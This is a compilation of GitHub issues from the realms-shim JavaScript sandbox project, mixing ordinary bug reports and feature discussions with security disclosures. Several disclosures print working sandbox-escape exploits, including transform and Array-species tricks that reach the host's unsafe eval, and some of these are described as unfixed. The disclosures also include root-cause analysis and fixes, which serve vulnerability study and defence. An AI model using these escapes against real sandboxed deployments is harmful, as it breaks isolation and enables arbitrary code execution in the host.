You can break out of the example via:

function loop(g){
  try{
    g["eval"]('1');
  }catch(e){
    return e;
  }
  return loop(g);
}
loop(this);
const e = eval;
const f = e('Function')
f('return window')().top.document.title = "Oh No"

Tested on Chrome Version 76.0.3809.132 (Official Build) (64-Bit)

Agoric has stopped investing in the realms-shim. We participate in advancing the realms proposal, but our primary energy is in the compartment shim and proposals (and the related lockdown, harden, ...). Either we transfer it to some other stakeholder of the realms proposal (attn @caridy), or we should shut it down. However, we also need to ensure that any relevant improvements made to the realms shim (such as @ExE-Boss's #302) are also applied to the compartments / ses / lockdown shim (such as at https://github.com/Agoric/SES-shim/blob/master/packages/ses/src/repair-legacy-accessors.js)

callAndWrapError do evil. It ate the real useful stack generated by V8.

After replacing callAndWrapError with (target, ...args) => target(...args), the code stack is debuggable now.

As you can see, after removing callAndWrapError, I can click into the VM1421 to find out why it throws.

Also reported in https://bugs.chromium.org/p/chromium/issues/detail?id=1008872

I need to run ESModule code in my project. But realms doesn't support it currently.
I have the willingness to resolve this problem but I don't know if it is acceptable for this project.

Proposal:

1. I'll use TypeScript's compiler to compile ESModule into SystemJS Module ( an implementation example: https://github.com/Jack-Works/loader-with-esmodule-example/blob/master/src/typescript/typescript-shared-compiler.ts )
2. After ESModule is translated into SystemJS Module, I'll provide a fake System object to execute and get the binding of the module.
3. I'll expose an import handler that allows Realms to resolve each import statements. For example:

const options = {
    importHandler(origin, importSrc) {
        if (importSrc === 'std:virtual-scroll') return import('std:virtual-scroll')
        else return fetch(new URL(importSrc + '.js', origin).toString()).then(x => x.text())
    }
}

4. I'll also handle the dynamic import() by the transform functions. But static import is only supported on the top level of the file.

This will make the Realms shim slower and bigger. Is that acceptable for realms-shim? If not, I will do that in my own project instead of contributing it to the upstream

Reproduce step:

1. open examples/simple.html
2. input '<!--123-->'
3. click evaluate

sloppyGlobals just won't work

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

const compartment = Realm.makeCompartment();
let HostRegExp;
try {
     compartment.evaluate('', undefined, {transforms: [{
         rewrite(rs) {
             return {src: {
                search(leaked) {
                   HostRegExp = leaked.constructor;
                   throw ''; // goto gotHostRegExp
                }
             }};
         }
     }]});
} catch (e) {
     // gotHostRegExp:
}
const HostObject = HostRegExp.__proto__.__proto__.constructor;

The attack exploits the fact that one of the source transforms assumes the input argument is a String, and applies a regular expression on it by invoking it's .search() method:

const htmlCommentPattern = new RegExp(`(?:${'<'}!--|--${'>'})`);
function rejectHtmlComments(s) {
  const index = s.search(htmlCommentPattern);
  if (index !== -1) {
    throw new SyntaxError(`possible html comment syntax rejected`);
  }
}

By supplying a non-string as the "transformed source" output of one transformer function, the subsequent transformer function (which doesn't transform anything, it just looks at the source code and rejects certain troublesome patterns) will get an object of the attacker's choosing. Because that code assumes the object is a String, it is invoked with the search() method and provided a RegExp object. That RegExp was built in the primal realm, allowing the attacker's fake search() method to follow the prototype chain up to the unsafe eval function.

It would have been a good idea to use uncurryThis to extract a safe uncompromised copy of String.prototype.search ahead of time, and invoking that against the (attacker-provided) alleged string. However the behavior of String and RegExp is complicated enough that this is no sure defense. The safest protection would be to coerce the alleged string into a real string first:

  const index = `${s}`.search(htmlCommentPattern);

We recently ran into a problem with the Realm shim. We're injecting the shim into our page via <script src="..."> and then using the Realm object. However, that causes Function to be tamed in the host page, which we weren't expecting to happen.

Recently we upgraded selenium-webdriver, one of our 3rd-party dependencies, that apparently now calls Function("...") to eval something. When the Realm shim is loaded, that no longer works. We end up getting TypeError: Not available when we call their driver.executeScript API call.

Is there a reason to tame Function in the host environment? We think we can work around it on our end by loading the Realm shim into a same-origin iframe instead, but I wanted to file this issue with you in case this behavior was unintended. I imagine this behavior will also trip up others trying to use the shim in the future.

const x = new Realm()

Uncaught TypeError: Realm is not a constructor
at new Realm (:115:15)
at :1:5

    throw new TypeError('Realm is not a constructor');

Realm.makeRootRealm({}) works for me.

Note that with the current implementation of realms-shim, adding the following test case to test/module/evaluators.js:

t.equal(safeEval(`(1,eval)('123')`), 123, 'indirect eval');

fails with:

TypeError: (1 , eval) is not a function

It also fails with the exported r.evaluate() function.

This failure seems wrong to me. Shouldn't indirect eval of this form be supported?

Just a reminder to myself to get this chore done soon.

@michaelfig specifically wanted #124 and #126 to be included.

I'm going to handle esmodule loading by myself and I need a way to bypass the rejectDangerousSourcesTransform

This repo should not use t.plan(NNN). It is a burden to maintain and doesn't gain anything over t.end().

For robustness (allowing subsequent test cases to run after one fails with an exception), the preferred pattern for test cases is:

test('description', t => {
  try {
    // [Test assertions go here.]
  } catch (e) {
    // [Fail the test case if there is an unexpected exception.]
    t.assert(false, e);
  } finally {
    // [Mark this test case as finished.]
    t.end();
  }
});

At

This undone todo has gotten in the way of sensible uses by @kumavis , though @kumavis is not blocked on this.

If endowments contain accessor properties, we must transfer those accessor properties to the scopeTarget, rather than copying its current value into a data property. Thus, we must avoid composing the endowments or the scopeTarget using ... as that has get/set semantics, rather than getOwnPropertyDescriptors/defineProperties semantics.

The Realm shim already rejects -- by a cheap regexp test -- apparent dynamic import expressions. On the moduleplus branch at https://github.com/Agoric/realms-shim/blob/moduleplus/src/sourceParser.js we also reject html comments. @SMotaal just reminded me of the other thing the realms shim should reject with a cheap regexp test: apparent direct eval expressions.

We must ban dynamic imports and html comments for safety reasons. Therefore our regexp should err in only one direction: banning code that is actually safe. The motivation for banning direct eval is different. The realms proposal will specify support for direct eval. The realms shim cannot emulate direct eval. If allowed, it would execute with the semantics of indirect eval. If code accumulates which counts on that incorrect behavior, it could deter platforms from the providing the correct behavior later on. However, if our regexp does not successfully ban all apparent direct evals even in odd cases no one would write, for example (eval)(str), this does not lead to unsafety. So our regexp can tolerate these slipping through.

In my use case (web extension polyfill), codes run in the sandbox need to access to the "clean DOM" that means any changes outside of the sandbox can not affect the inner side of the sandbox.

Currently, I'm making a copy of the global object and provide it to the realms.

And this cause problem on the prototype:

For example:

// This file is running outside of the sandbox.
HTMLElement.prototype.a = 1
const div = document.createElement("div")
div.a // 1

// This file is running in the Web Extension polyfill, which based on the realms-shim
HTMLElement.prototype.b = 2
// Web Extension needs to access an isolated JS environment but a shared DOM environment
// So I copied everything on the globalThis. So HTMLDivElement and document is also accessable from the inside of the realms shim.
const div = document.createElement("div")
div.b // 2

After these two files run, both a and b are accessable from the outside world and the inside world.
Ideally it should only accessable from where it get changed. (a in the main frame and b in the realms shim)
I have some idea about how to protect the prototype (by replacing prototype with a Proxy) but not clear if realms shim will give some help.

GHSA-7cg8-pq9v-x98q discloses a sandbox breach, fixed in the 1.2.1 release. This bug captures some of the analysis that went into the advisory.

#30 introduced a root realm/compartment option called sloppyGlobals. It would be advantageous if this option could also be specified per-evaluation.

@erights, @kumavis, I need help deciding on implementation. The only options I see thus far for passing this kind of modification down to the scopeHandler (which is the code that decides if a sloppy global can be assigned) are:

1. Indirect the creation of the scopeHandler so that it becomes a factory that is called per-evaluation instead of just once per compartment. This to me seems cleaner, but is a more drastic change.
2. Create a source-code-inaccessible property (like a key that begins with a digit, yuck) on the scopeTarget (where the endowments are), and have the scopeHandler use it to determine behaviour.

And finally, should the per-evaluate option override the compartment option? I think it should.

Thoughts?

As described in our recent blog post, the "eight magic lines" use a with statement to capture references to (what would be normally be) global variables and route them to a Proxy object. The Proxy then allows the first eval reference to connect with the real evaluator (making it a "direct" evaluation), and all other references get connected to the per-Compartment global object.

In JavaScript, the target of a with object can have a property with the special key designated by Symbol.unscopables, and its value is used to exclude names from the with capture, allowing those lookups to pass outwards to the real global. To prevent this, the realms-shim proxy watches for lookups of Symbol.unscopables and prevents gets and sets of that key. (Note that the property name is not a string: it is a special kind of object known as a "Symbol", and that particular value is only reachable as a property of the Symbol global)

On 04-Oct-2019, GitHub user @XmiliaH reported (to security at agoric.com) a sandbox breach that only occurred under the Microsoft Edge browser (version 44.17763.1.0). The exploit is pretty simple:

Object.prototype[Symbol.unscopables] = {window:true};
window

Apparently, the JavaScript engine in that browser has a bug that causes Symbol.unscopables to sometimes fail an equality test, bypassing the proxy's exclusion logic. We confirmed that current versions of Safari, Firefox, Chrome, and Node.js do not behave the same way, and do not appear to be vulnerable.

We reported the bug privately to the Microsoft Security Response Center (as MSRC Case#54433). After a few days, they confirmed the presence of the bug, but decided it did not warrant a security disclosure process (nor a bug number, probably because of the imminent switch to Chromium), and said we should feel free to present our findings publically.

We fixed the realms-shim bug as a side-effect of rewriting the proxy handler, in commit b19cecf. Instead of denying access to Symbol.unscopables specifically, the handler was rewritten to deny access to any symbol. This works around the Edge bug, and does not change the behavior on other engines.

This fix is present in the current release, realms-shim 1.2.1.

Repro:

1. Check out v1.1.2.
2. Follow the instructions to build the shim.
3. Create a html file containing this:

<body></body>
<script src="dist/realms-shim.umd.min.js"></script>
<script>Realm.makeRootRealm()</script>

4. Open it.

Unexpected: Realm.makeRootRealm() crashes with ReferenceError: Z is not defined.

This is because the minifier is minifying the name globalEval in repairFunctions, which is then converted to a string and joined with a string that defines globalEval.

This is also a problem with v1.1.1 but not with v1.1.0.

Realms Issue #202

Any code with import expression inside string literal or comment throws "Error: SyntaxError: possible import expression rejected around line 1".

As example:

const v = "const MyComponent = lazy(() => import('./MyComponent'))";

Using latest realms-shim.min.js in code as:

  import Realm from "./lib/realms.js"
  const realm = Realm();

Getting

(index):75 Uncaught TypeError: Class constructor j cannot be invoked without 'new'
    at (index):75

But if calling it as constructor realm = new Realm(), getting:

realms.js:1 Uncaught TypeError: Realm is not a constructor
    at new j (realms.js:1)
    at (index):75

I'm confused. I guess will try partytown for now.

I wrote a Mail to the address given in README.md about a security bug, but didn't get a response for 24 Hours. Therefore I wanted to know if you got that mail.

https://github.com/MikeMcl/bignumber.js/blob/986fd70e514e58e86d43bc9944547d82658e47ae/bignumber.js#L2427

const s = '// e.g 0.0009999 (e-4) --> 0.001 (e-3), so adjust s so the rounding digits'
const htmlCommentPattern = new RegExp(`(?:${'<'}!--|--${'>'})`);

function rejectHtmlComments(s) {
  const index = s.search(htmlCommentPattern);
  if (index !== -1) {
    const linenum = s.slice(0, index).split('\n').length; // more or less
    throw new SyntaxError(
      `possible html comment syntax rejected around line ${linenum}`
    );
  }
}

rejectHtmlComments(s)
/*
Thrown:
SyntaxError: possible html comment syntax rejected around line 1
*/

Because this will be a breaking change, introduce warnings and a transition period.

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

let LastBadArray;
class BadArray extends Array {
     constructor() {
         super();
         LastBadArray = this;
     }
}
Realm.makeCompartment().evaluate('', undefined, {transforms: new
BadArray()});

const HostObject = LastBadArray[0].__proto__.constructor
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function() {
         if (n++ == 2) {
             return {
                 set length(value) {},
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return new HostArray();
     }
});
const Eval = (0, eval)('');
Eval

It works against the "fixed" 1.2.1 code, in which the user-supplied transforms option is combined with additional transforms, using concat:

  function factory(endowments = {}, options = {}) {
    const localTransforms = options.transforms || [];
    ...
    const mandatoryTransforms = [rejectDangerousSourcesTransform];
    const allTransforms = arrayConcat(
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

The arrayConcat function is a safely-curried version of Array.prototype.concat, so it will behave as specified, but the official JavaScript specification has an interesting property: the type of the resulting Array is decided by the constructor of the first argument. Since the user's localTransforms appears first, it gets to be involved in the creation of the new Array. The attack uses this access to grab a reference to the host's Array object (which comes from the primal Realm). From there it climbs the prototype chain until it reaches the unsafe eval.

One fix is to supply a real Array for the first argument to concat:

    const allTransforms = arrayConcat(
      [],
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

But a more-obviously-correct fix is to use an Array literal and the "spread operator" (...):

    const allTransforms = [
      ...localTransforms,
      ...realmTransforms,
      ...mandatoryTransforms
    );

This approach asks each argument for an iterator, but does not otherwise depend upon methods or types of the arguments.

When it comes to evaluate arbitrary code inside a realm, sometimes throwing when direct eval is used (intentionally or not), makes the adoption of the shim more complicated. Even though executing the direct eval declaration as indirect eval is terrible, sometimes that compromise is desirable (e.g.: legacy code).

As today, this is one of the remaining issues for us to use the shim as it is, instead, it forces us to fork and change the logic in:
https://github.com/Agoric/realms-shim/blob/master/src/sourceParser.js#L97

I see few options:

1. find ways to support direct eval (I haven't think much about this one since we put in place the mechanism to replace the eval ref after the initial evaluation, I imagine that this one is going to be almost impossible).
2. provide some transpilation/transformation mechanism (via some configuration)
3. provide a way to control whether or not that rule should be applied during evaluation.
4. relax the rule or remove it entirely in favor of documentation (as it was before).

/cc @jdalton

Since moving the shim, the link https://rawgit.com/tc39/proposal-realms/master/shim/examples/simple.html is now broken.

Additionally, since rawgit is shutting down, we should host the demo elsewhere.